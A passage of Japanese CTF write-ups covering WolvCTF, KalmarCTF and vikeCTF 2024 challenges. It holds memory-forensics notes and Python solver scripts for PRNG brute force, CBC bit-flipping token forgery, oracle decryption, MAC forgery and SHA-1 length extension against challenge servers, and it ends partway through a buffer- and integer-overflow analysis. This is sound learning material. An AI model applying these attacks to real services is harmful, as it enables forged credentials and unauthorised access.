408     340     winlogon.exe    0xfa801a3f75c0  4       97      1       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\winlogon.exe     winlogon.exe    C:\Windows\system32\winlogon.exe
1320    1292    explorer.exe    0xfa801a7637c0  30      712     1       False   2024-03-09 11:47:52.000000      N/A     \Device\HarddiskVolume1\Windows\explorer.exe      C:\Windows\Explorer.EXE C:\Windows\Explorer.EXE
* 896   1320    multireader.ex  0xfa801a8601d0  2       57      1       False   2024-03-09 11:54:50.000000      N/A     \Device\HarddiskVolume1\temp\multireader.exe      "C:\temp\multireader.exe"       C:\temp\multireader.exe
* 804   1320    cmd.exe 0xfa801a496450  1       21      1       False   2024-03-09 11:50:05.000000      N/A     \Device\HarddiskVolume1\Windows\System32\cmd.exe  "C:\Windows\system32\cmd.exe"   C:\Windows\system32\cmd.exe
* 1644  1320    notepad.exe     0xfa801a4ba060  1       57      1       False   2024-03-09 11:52:04.000000      N/A     \Device\HarddiskVolume1\Windows\System32\notepad.exe      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\joe\Desktop\schedule.txt     C:\Windows\system32\NOTEPAD.EXE
* 1804  1320    cGFzdGViaW4uY2  0xfa801a8de800  8       258     1       False   2024-03-09 11:54:49.000000      N/A     \Device\HarddiskVolume1\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe     "C:\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe"      C:\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe
* 1680  1320    cmd.exe 0xfa801a862060  1       19      1       False   2024-03-09 11:49:15.000000      N/A     \Device\HarddiskVolume1\Windows\System32\cmd.exe  "C:\Windows\system32\cmd.exe"   C:\Windows\system32\cmd.exe
* 1272  1320    iexplore.exe    0xfa801a983b30  11      381     1       True    2024-03-09 11:55:44.000000      N/A     \Device\HarddiskVolume1\Program Files (x86)\Internet Explorer\iexplore.exe        "C:\Program Files (x86)\Internet Explorer\iexplore.exe"         C:\Program Files (x86)\Internet Explorer\iexplore.exe
** 1284 1272    iexplore.exe    0xfa801a503b30  16      348     1       True    2024-03-09 11:55:45.000000      N/A     \Device\HarddiskVolume1\Program Files (x86)\Internet Explorer\iexplore.exe        "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:1272 CREDAT:71937        C:\Program Files (x86)\Internet Explorer\iexplore.exe
2568    2492    taskmgr.exe     0xfa801ac2db30  7       124     1       False   2024-03-09 12:05:33.000000      N/A     \Device\HarddiskVolume1\Windows\System32\taskmgr.exe      "C:\Windows\system32\taskmgr.exe"  /1   C:\Windows\system32\taskmgr.exe

あやしいプロセスがある。

cGFzdGViaW4uY29tL3lBYTFhS2l1.exe

拡張子を除き、ファイル名をbase64デコードする。

$ echo cGFzdGViaW4uY29tL3lBYTFhS2l1 | base64 -d
pastebin.com/yAa1aKiu

https://pastebin.com/yAa1aKiuにアクセスしたら、フラグが書いてあった。

wctf{v0lAt1l3_m3m0ry_4qu1r3D_a3fe9fn3al}

Limited 1 (Crypto)

スクリプトの処理概要は以下の通り。

・flag: 入力
・correct: 既知数値配列
・time_cycle: UNIXTIMEを整数値を256で割った余り
・flagの長さとcorrectの長さが一致しない場合エラー
・flagの長さだけ以下繰り返し(i)
 ・i+time_cycleをseedとしてセット
 ・correct[i]とflag[i]とrandom.getrandbits(8)のXORが一致しない場合エラー
・フラグを出力

time_cycle、256パターンのブルートフォースでフラグを復号する。

#!/usr/bin/env python3
import random

correct = [189, 24, 103, 164, 36, 233, 227, 172, 244, 213, 61, 62, 84, 124, 242,
    100, 22, 94, 108, 230, 24, 190, 23, 228, 24]

for time_cycle in range(256):
    flag = b''
    for i in range(len(correct)):
        random.seed(i + time_cycle)
        v = correct[i] ^ random.getrandbits(8)
        flag += bytes([v])
    if flag.startswith(b'wctf{'):
        flag = flag.decode()
        print(flag)
        break
wctf{f34R_0f_m1ss1ng_0ut}

Limited 2 (Crypto)

スクリプトの処理概要は以下の通り。

・flag: 入力
・correct: 既知数値配列
・flagの長さとcorrectの長さが一致しない場合エラー
・tm_yearが2024以上または2023未満の場合エラー
・tm_ydayが365でなく、366でない場合エラー
・flagの長さだけ以下繰り返し(i)
 ・time_current: UNIXTIME現在時刻の整数値
 ・i+time_currentをseedとしてセット
 ・correct[i]とflag[i]とrandom.getrandbits(8)のXORが一致しない場合エラー
 ・random.randint(1, 60)だけsleep
・フラグを出力

tm_yearは2023、tm_ydayは365または366である。つまり日付は2023/12/31または2024/1/1になる。UNIXTIMEは1703980800~1704153599の間になり、172800秒数分のパターンのブルートフォースでフラグを復号する。

#!/usr/bin/env python3
import random

correct = [192, 123, 40, 205, 152, 229, 188, 64, 42, 166, 126, 125, 13, 187, 91]

for time_current in range(1703980800, 1704153600):
    cur = time_current
    flag = b''
    for i in range(len(correct)):
        random.seed(i + cur)
        v = correct[i] ^ random.getrandbits(8)
        flag += bytes([v])
        cur += random.randint(1, 60)
    if flag.startswith(b'wctf{'):
        flag = flag.decode()
        print(flag)
        break
wctf{b4ll_dr0p}

Blocked1 (Crypto)

サーバの処理概要は以下の通り。

・MASTER_KEY: ランダム16バイト文字列
・username: "guest_ランダム100000以上999999以下"
・以下繰り返し
 ・s: 入力
 ・sが"1"の場合
  ・token: 入力
  ・verify(bytes.fromhex(token))が"doubledelete"の場合、フラグを表示
  ・verify(bytes.fromhex(token))が"doubledelete"以外の場合、usernameを表示
 ・sが"2"の場合
  ・generate(username)の16進数表記表示
   ・iv: 16バイト文字列
   ・msg: "password reset: {username}"
   ・msgの長さが16の倍数でない場合は"\x0"を16の倍数の長さになるまでパディングする。
   ・iv + 鍵:MASTER_KEY、IV:ivでAES-CBC暗号でmsgを暗号化したものを返却
 ・sが"3"の場合
  ・メッセージ表示
0123456789abcdef
password reset: 
guest_xxxxxxOOOO
平文1ブロック目 ^ iv              --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目

暗号1ブロック目を以下のように変更して指定すれば、usernameが"doubledelete"になり、フラグが得られる。

新暗号1ブロック目 = guest_xxxxxxOOOO ^ 暗号1ブロック目 ^ doubledeleteOOOO
#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('blocked1.wolvctf.io', 1337))

target = b'doubledelete'
target += b'\0' * (16 - len(target) % 16)

data = recvuntil(s, b']\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
username = data.split(' ')[-1].encode()
username += b'\0' * (16 - len(username) % 16)
data = recvuntil(s, b'\n').rstrip()
print(data)

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

ct = bytes.fromhex(data)
ct1 = ct[16:32]
ct1 = strxor(strxor(username, ct1), target)
token = (ct[:16] + ct1 + ct[32:]).hex()

data = recvuntil(s, b'> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
                 __      __
 _      ______  / /___  / /_ _   __
| | /| / / __ \/ / __ \/ __ \ | / /
| |/ |/ / /_/ / / /_/ / / / / |/ /
|__/|__/\____/_/ .___/_/ /_/|___/
              /_/
[      password reset portal      ]
you are logged in as: guest_481401

 to enter a password reset token, please press 1
 if you forgot your password, please press 2
 to speak to our agents, please press 3
 > 2
197f75faa9088d7f9d8cda74968b137a803ec4790420699bfb4a732c40abc617f8db39f46cdd676ceda664c420eb61e5
 to enter a password reset token, please press 1
 if you forgot your password, please press 2
 to speak to our agents, please press 3
 > 1
 token > 197f75faa9088d7f9d8cda74968b137a8324d4681c1a39c6a61b377840abc617f8db39f46cdd676ceda664c420eb61e5
wctf{th3y_l0st_th3_f1rst_16_byt35_0f_th3_m3ss4g3_t00}
wctf{th3y_l0st_th3_f1rst_16_byt35_0f_th3_m3ss4g3_t00}

Blocked2 (Crypto)

$ nc blocked2.wolvctf.io 1337
== proof-of-work: disabled ==
                 __      __
 _      ______  / /___  / /_ _   __
| | /| / / __ \/ / __ \/ __ \ | / /
| |/ |/ / /_/ / / /_/ / / / / |/ /
|__/|__/\____/_/ .___/_/ /_/|___/
              /_/
[          email portal          ]
you are logged in as doubledelete@wolp.hv

you have one new encrypted message:
fef05ad3ef9d67aa5e9253d50227333ff44d61c3d754857d50f6ba26763f6f627e1b9656e6c709a0d207de966b22dca6075ffe936e74ea90afbe31a307c32b7e38aea88edbbabae92e9e51c4f40eec848af45cc101400de2681e48b9ab83f62edca083f7bf472f05f66318967ace5d05b0c92bad84bc1a7f619c13eac7d9b4f3cddbc68b37a82e1057062a3f86a0058e83b715594491d73404d114f2fbd7d2d704b3d1848fc4d08870560fca452a7cd3abf9c56a8fa4e102efbf6f394a7827a83532d74060c009a155f664af989e7944efb84fce6809a25fee8b7d6288043a855044ead4645f1c027cb72c4566856bb84fc3f6fe385b195f477bfae0f1c91365da415f285d817193b5f6fd958ff2d5918d22f4c463c46da2dc65cb6f56d84a0c78778151266c013cdf0fee7e92dd2a47
 enter a message to send to dree@wolp.hv, in hex
 > 1234
message must be a multiple of 16 bytes long! don't forget to use the WOLPHV propietary padding scheme

サーバの処理概要は以下の通り。

・MASTER_KEY: ランダム16バイト文字列
・message: メッセージ
・encrypt(message)を16進数表記表示
・以下繰り返し
 ・s: 入力
 ・message: sをhexデコード
 ・encrypt(message)を16進数表記表示
  ・messageの長さが16の倍数でない場合エラー
  ・iv: ランダム16バイト文字列
  ・blocks: messageの16バイトごとの配列
  ・encrypted: [iv] + blocksの配列の各要素をAES ECB暗号化
  ・encrypted: encryptedの各要素とblocksの各要素のXOR(最後以外)
  ・iv + encryptedの結合したものを返却
iv0 --(AES暗号化)--> CT00 ^ PT01 …[1]
PT01 --(AES暗号化)--> CT01 ^ PT02 …[2]
PT02 --(AES暗号化)--> CT02 ^ PT03
        :
PT18 --(AES暗号化)--> CT18 ^ PT19
PT19 --(AES暗号化)--> CT19

messageにiv0を指定すると、以下のようなイメージで暗号化される。

iv1 --(AES暗号化)--> CT00_1 ^ iv0
iv0  --(AES暗号化)--> CT00

第2ブロックの暗号文と[1]の暗号文をXORしたらPT01が割り出せる。
同様にmessageにPT01を指定すると、以下のようなイメージで暗号化される。

iv2 --(AES暗号化)--> CT00_2 ^ PT01
PT01 --(AES暗号化)--> CT01

第2ブロックの暗号文と[2]の暗号文をXORしたらPT02が割り出せる。
これを繰り返すことによって元のメッセージを復号できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('blocked2.wolvctf.io', 1337))

data = recvuntil(s, b':\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_msg = bytes.fromhex(data)
enc_blocks = [enc_msg[i:i+16] for i in range(0, len(enc_msg), 16)]

message = enc_blocks[0]
for i in range(len(enc_blocks) - 1):
    try_message = message[-16:].hex()
    data = recvuntil(s, b'> ')
    print(data + try_message)
    s.sendall(try_message.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    enc_block2 = bytes.fromhex(data[64:])
    message += strxor(enc_block2, enc_blocks[i + 1])

message = message[16:].decode()
print(message)

実行結果は以下の通り。

== proof-of-work: disabled ==
                 __      __
 _      ______  / /___  / /_ _   __
| | /| / / __ \/ / __ \/ __ \ | / /
| |/ |/ / /_/ / / /_/ / / / / |/ /
|__/|__/\____/_/ .___/_/ /_/|___/
              /_/
[          email portal          ]
you are logged in as doubledelete@wolp.hv

you have one new encrypted message:
48ba7db083d7ecc4cf0158007a3d207ecd0993314b73284cefa20f882a63443a287ba0f0930e3bbc2ad6ed886e140303636e079538cd5460f41e8e28c1f6f5b635e9594da13df1528fce83a849962c02111237ba4445c2d424617da728e3b947d5baac79055d2708a57f642edbcf370a70b488c67cf4ad53676cbb09a9425e97c5576699203fd07c4afc059d8d2d0c10864a30ef0388bd9563e1d710cabe0053376129a3996f34fa36324977e5cb30c1089dfc2f9182735f5033d3c453caa07fad9455bc62d0068244f3b66d035976aeec7e23d33ecc9da51e4ddea5c2b6cca053499e5365ca144d4f6239a97a4139a3ab04f51bcdc04a47ecfe6f3abaaed03c1118cfd1975d6c2529323a32951b098a8b8c15891a62eb4c8e6ac88e6fc43f2a875ae83da3e0a16554527440329bbec4
 enter a message to send to dree@wolp.hv, in hex
 > 48ba7db083d7ecc4cf0158007a3d207e
0fc55fe2caf1a3305e366428324b1c9f32e20a266d53f54f32dd534b8fd3b58cb961fc422e535f2383d47ced49432a5f
 enter a message to send to dree@wolp.hv, in hex
 > 74686f736520776f6c76736563206e65
3f849dcde2640dc82ff4d8c6cbc153da4b27f98865a20792fb3505e1206baf4f5a1fd3d0e16b5ad046afcdfc067d6d68
 enter a message to send to dree@wolp.hv, in hex
 > 726473207265616c6c79207468696e6b
5c57d42dfb2f9242a89957a0d8d5334d63255fae9df344081dc651ef19a310b5431a6ff041ea2605d43ce947ae92d5d7
 enter a message to send to dree@wolp.hv, in hex
 > 20746865792772652022676f6f642061
0dbecb3b896424d287ff43347c479d5c46f54b82eda84dfa3eafef4d70d8751941c92a28c248833bfbb7a18821e3442c
 enter a message to send to dree@wolp.hv, in hex
 > 7420736563757269747922206875682e
5b8e51647407f7dc975fe1edc9de0691ef68c1be1a72451947519844cbf68a363f3c17c8312bacbd4a065dd340869935
 enter a message to send to dree@wolp.hv, in hex
 > 2e2e2072756e6e696e67207468652072
f5e781a41b744aadd2d0b4a687db2e01d4937981a6a4e6d256cce2bdf9ef11f4b4d4df16682a467ac05f134fa8ef406b
 enter a message to send to dree@wolp.hv, in hex
 > 616e736f6d7761726520776173207761
8ef4cbc1f0a75d7f4c41e0b2404de26421099db10f9c112d5e62c74045b0dafc0994fca913d4c83214159529c06528f2
 enter a message to send to dree@wolp.hv, in hex
 > 7920746f6f20656173792e2069277665
278601ae6cf0d5d2ad914702b67132d1722fd231d8bf402f77f92195f5877b92e52216f54f5eb4192edc71f5e8447e30
 enter a message to send to dree@wolp.hv, in hex
 > 2075706c6f6164656420746865697220
503497104e7dc10b8c7a5d0fe35485f440d79222e8f1f5601127afed91fcb446e0235c8a70a8c9fa438ea262eacd6530
 enter a message to send to dree@wolp.hv, in hex
 > 66696c657320746f206f757220736563
e791615e4ae5767fd49ea2e5ebe1bcc83897e5552d3c5856392b5340c63d236742134c83ea1b5b8857552c5bc5a755b5
 enter a message to send to dree@wolp.hv, in hex
 > 7572652073746f726167652c206c6574
c64d3bf570373167d92e990dbec46195735d1d0e81a8931c43f4897ed785a59828f0990ffaec1c287044bba13dead910
 enter a message to send to dree@wolp.hv, in hex
 > 206d65206b6e6f77207768656e20796f
cb8637f46c67ae224e3459abbc77eab923c62325565f36ba5d3e3a04a7e79279d8b43ddd14b526f62c96db672e3d19db
 enter a message to send to dree@wolp.hv, in hex
 > 752068617665207468656d0a2d646f75
827aca31430d5f1831c051634e5f0bb90222e0dfc902fe449bd6d5a6f10438a88e1246b75ba0f8d17b0da9caaec6e2c8
 enter a message to send to dree@wolp.hv, in hex
 > 626c6564656c65746540776f6c702e68
65a96d0cd7e5aae8edb61c59a4ee99a677cc1e31608ec286788c55e383bbf4c42543e93011ac6f3e7f0f0af61d7109c7
 enter a message to send to dree@wolp.hv, in hex
 > 760a776374667b73306d335f67303064
82ba1f40ca80cb5683f82a7cc3f74e26a370ff02171f62e4b7596dca2e72aee5f477c678b8b27b3395a1160acff1b808
 enter a message to send to dree@wolp.hv, in hex
 > 5f73336375723174795f7930755f6834
6ae294559a9d2cdbf4e1459cb8dc428cd2c0906f4cb3c86e203fb886c142928a672b90a3a731004c4755654ba56e7bd5
 enter a message to send to dree@wolp.hv, in hex
 > 76335f72306c6c696e675f793075725f
b0fde87710b6126fcb10cf098e3dff4eb830a82e24c9befcdac5460027f2fe9dbbfb7bd67910923cfa5a97e61aac4220
 enter a message to send to dree@wolp.hv, in hex
 > 30776e5f6372797074305f6875687d0a
d54f09eb0eb8f3edd14e28df6f7e7b0590dddedea6674c615f7f9c7ff72ab9f9875ae83da3e0a16554527440329bbec4
those wolvsec nerds really think they're "good at security" huh... running the ransomware was way too easy. i've uploaded their files to our secure storage, let me know when you have them
-doubledelete@wolp.hv
wctf{s0m3_g00d_s3cur1ty_y0u_h4v3_r0lling_y0ur_0wn_crypt0_huh}
wctf{s0m3_g00d_s3cur1ty_y0u_h4v3_r0lling_y0ur_0wn_crypt0_huh}

TagSeries1 (Crypto)

サーバの処理概要は以下の通り。

・MESSAGE = b"GET FILE: flag.txt"
・QUERIES = []
・BLOCK_SIZE = 16
・KEY: ランダム16バイト文字列
・以下3回繰り返し
 ・command: 入力
 ・tag: 入力
 ・commandがQUERIESにあったら、command入力からやり直し(回数は減る)
 ・commandの長さが16で割り切れない場合、command入力からやり直し(回数は減る)
 ・result = oracle(command)
  ・commandのAES-ECB暗号の最後の16バイトを返却
 ・commandがMESSAGEから始まりtagがresultと一致する場合、フラグを表示
 ・commandがMESSAGEから始まらないかtagがresultと一致しない場合
  ・QUERIESにcommandを追加
  ・resultを表示

MESSAGEの先頭16バイトを除いても、tagは同じになることを使って、条件を満たすようにする。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

MESSAGE = 'GET FILE: flag.txt'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tagseries1.wolvctf.io', 1337))

data = recvuntil(s, b'\n').decode().rstrip()
print(data)

command = MESSAGE[16:]
command = command + '#' * (16 - len(command) % 16)
print(command)
s.sendall(command.encode() + b'\n')
tag = b'1' * 16
print(tag)
s.sendall(tag + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

tag = data
command = MESSAGE
command = command + '#' * (16 - len(command) % 16)
print(command)
s.sendall(command.encode() + b'\n')
print(tag)
s.sendall(tag + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
xt##############
b'1111111111111111'
b'Q,V\x03(\x1cD\x94\t?<\xdeu\xb1\x85o'
GET FILE: flag.txt##############
b'Q,V\x03(\x1cD\x94\t?<\xdeu\xb1\x85o'
b'wctf{C0nGr4ts_0n_g3tt1ng_p4st_A3S}'
wctf{C0nGr4ts_0n_g3tt1ng_p4st_A3S}

TagSeries3 (Crypto)

サーバの処理概要は以下の通り。

・MESSAGE = b"GET FILE: "
・SECRET: ランダム1200バイト文字列
・SECRET + MESSAGEのsha1の16進数表記を表示
・command: 入力
・hash: 入力
・commandがMESSAGEから始まり、commandに"flag.txt"が含まれていたら、以下を実行
 ・SECRET + commandのsha1の16進数表記がhashと一致していたら、フラグを表示

以下の情報がわかっている。

・SECRETの長さ
・SECRET + MESSAGEのsha1
・commandに含めるべきデータ
・SECRET + MESSAGEのMESSAGE

Hash Length Extension attackで条件を満たすデータを取得し、送信する。Pythonのhashpumpyは1200近くになると正しく算出できない。https://github.com/iagox86/hash_extenderを利用してみる。

#!/usr/bin/env python3
import socket
import subprocess

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

MESSAGE = 'GET FILE: '
sec_len = 1200
command_part = 'flag.txt'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tagseries3.wolvctf.io', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
msg_hash = data


cmd = ['./hash_extender', '--signature', msg_hash, '--data', MESSAGE,
    '--secret', str(sec_len), '--append', command_part]
ret = subprocess.check_output(cmd).decode().rstrip()
hsh = ret.split('\n')[12].split(': ')[1]
command = ret.split('\n')[13].split(': ')[1]
command = bytes.fromhex(command)

print(command)
s.sendall(command + b'\n')
print(hsh)
s.sendall(hsh.encode() + b'\n')
data = recvuntil(s, b'}')
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
e9761821a6eecdd9690486083046dce8afe9ef0e
b'GET FILE: \x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%\xd0flag.txt'
03eb5cfe8e754486f96a13f0e99e59562e8b0cc4
wctf{M4n_t4er3_mu5t_b3_4_bett3r_w4y}
wctf{M4n_t4er3_mu5t_b3_4_bett3r_w4y}

Feedback Survey (Misc)

アンケートに答えたら、フラグが表示された。

wctf{th4Nk5_f0R_pl4y1ng!}

KalmarCTF 2024 Writeup

この大会は2024/3/16 2:00(JST)~2024/3/18 2:00(JST)に開催されました。
今回もチームで参戦。結果は332点で726チーム中74位でした。
参加賞の問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

First Flag (misc)

Rulesのページの最後にフラグが書いてあった。

kalmar{I_have_read_the_rules}

vikeCTF 2024 Writeup

この大会は2024/3/9 9:00(JST)~2024/3/11 9:00(JST)に開催されました。
今回もチームで参戦。結果は940点で326チーム中33位でした。
自分で解けた問題をWriteupとして書いておきます。

Code of Conduct (ADMIN)

問題にフラグが書いてあった。

vikeCTF{1_4CC3P7_7H3_C0ND1710N5}

Hidden Valor (MISC)

steghideで空パスワードで秘密情報を抽出する。

$ steghide extract -sf vikeCTF-logo.jpeg
Enter passphrase: 
wrote extracted data to "haxor-cat.jpeg".

再びsteghideで空パスワードで秘密情報を抽出する。

$ steghide extract -sf haxor-cat.jpeg   
Enter passphrase: 
wrote extracted data to "pencil.jpeg".

さらにsteghideで空パスワードで秘密情報を抽出する。

$ steghide extract -sf pencil.jpeg   
Enter passphrase: 
wrote extracted data to "payload".

$ cat payload         
MDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAwMTAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDExMDAwMTEgMDAxMDAwMDAgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAxMDA=

以下の順にデコードする。

・base64
・2進数
・16進数
・シーザー暗号
#!/usr/bin/env python3
from base64 import *
import string

def caesar(s, key):
    d = ''
    for c in s:
        code = ord(c)
        if c in string.ascii_uppercase:
            code = code - key
            if code < ord('A'):
                code += 26
        elif c in string.ascii_lowercase:
            code = code - key
            if code < ord('a'):
                code += 26
        d += chr(code)
    return d

ct = 'MDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAwMTAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDExMDAwMTEgMDAxMDAwMDAgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAxMDA='

msg = b64decode(ct).decode()
print(msg)

codes = msg.split(' ')
msg = ''
for code in codes:
    msg += chr(int(code, 2))
print(msg)

codes = msg.split(' ')
msg = ''
for code in codes:
    msg += chr(int(code, 16))
print(msg)

msg = caesar(msg, 13)
print(msg)

実行結果は以下の通り。

00110110 00111001 00100000 00110111 00110110 00100000 00110111 00111000 00100000 00110111 00110010 00100000 00110101 00110000 00100000 00110100 00110111 00100000 00110101 00110011 00100000 00110111 01100010 00100000 00110011 00110101 00100000 00110110 00110111 00100000 00110011 00110011 00100000 00110111 00110100 00100000 00110011 00110000 00100000 00110110 00110001 00100000 00110011 00110000 00100000 00110111 00110100 00100000 00110110 00110101 00100000 00110011 00110100 00100000 00110110 00110011 00100000 00110111 00110101 00100000 00110110 01100011 00100000 00110010 00110001 00100000 00110111 01100100
69 76 78 72 50 47 53 7b 35 67 33 74 30 61 30 74 65 34 63 75 6c 21 7d
ivxrPGS{5g3t0a0te4cul!}
vikeCTF{5t3g0n0gr4phy!}
vikeCTF{5t3g0n0gr4phy!}

The Usual (MISC)

$ checksec --file the-usual
[*] '/media/sf_Shared/the-usual'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Welcome to the flag shop!");
  main_loop();
  return 0;
}

void main_loop(void)

{
  int iVar1;
  uint local_20;
  uint local_1c;
  char *local_18;
  uint local_10;
  uint local_c;
  
  local_c = 100;
  while( true ) {
    while( true ) {
      printf("%s",MENU);
      printf("Your balance is $%d\n",(ulong)local_c);
      local_1c = 0;
      local_18 = "What would you like to buy? (1-5) ";
      iVar1 = read_uint(&local_1c,"What would you like to buy? (1-5) ");
      if (((iVar1 != -1) && (local_1c != 0)) && (local_1c < 6)) break;
      puts("I\'m afraid we don\'t sell that");
    }
    if (local_1c == 5) break;
    local_20 = 0;
    local_18 = "How many would you like? ";
    iVar1 = read_uint(&local_20,"How many would you like? ");
    if (iVar1 == -1) {
      puts("I can\'t sell that many");
    }
    else {
      iVar1 = can_afford(local_c,local_20,local_1c);
      if (iVar1 == 0) {
        puts("You can\'t afford that");
      }
      else {
        local_10 = 0;
        do {
          if (local_1c == 1) {
            local_c = local_c - 10;
            print_quote();
          }
          else if (local_1c == 2) {
            local_c = local_c - 0x2d;
            print_art();
          }
          else if (local_1c == 3) {
            local_c = local_c - 0x82;
            print_stand();
          }
          else {
            if (local_1c != 4) {
              puts("Goodbye!");
              return;
            }
            puts("Sorry, the flag is under maintenance");
          }
          local_10 = local_10 + 1;
        } while (local_10 < local_20);
      }
    }
  }
  puts("Goodbye!");
  return;
}

void print_quote(void)

{
  puts("I see the flag! It\'s so... flappy!");
  return;
}

void print_art(void)

{
  puts(
      "  (_)\n   |       _,--,_\n   |-:\'--~\'      |\n   | :           |\n   | :     _,--,_|\n   |- :\'--~\'\n   |\n   |\n   |\n   |\n   |\n   |\n-------"
      );
  return;
}

void print_stand(void)

{
  char local_28 [32];
  
  printf("What would you like your flag stand to say? ");
  fgets(local_28,300,stdin);
  puts(
      "Great! Your organic, custom-engraved flag stand will be delivered within three to six busines s weeks"
      );
  return;
}

void print_flag(void)

{
  int iVar1;
  FILE *__stream;
  
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Couldn\'t find the flag!");
  }
  else {
    while( true ) {
      iVar1 = fgetc(__stream);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
    fclose(__stream);
  }
  return;
}

所持金より購入する単価×個数が小さくなれば購入できる。整数オーバーフローを狙う。

>>> (2**32 // 130) + 1
33038210

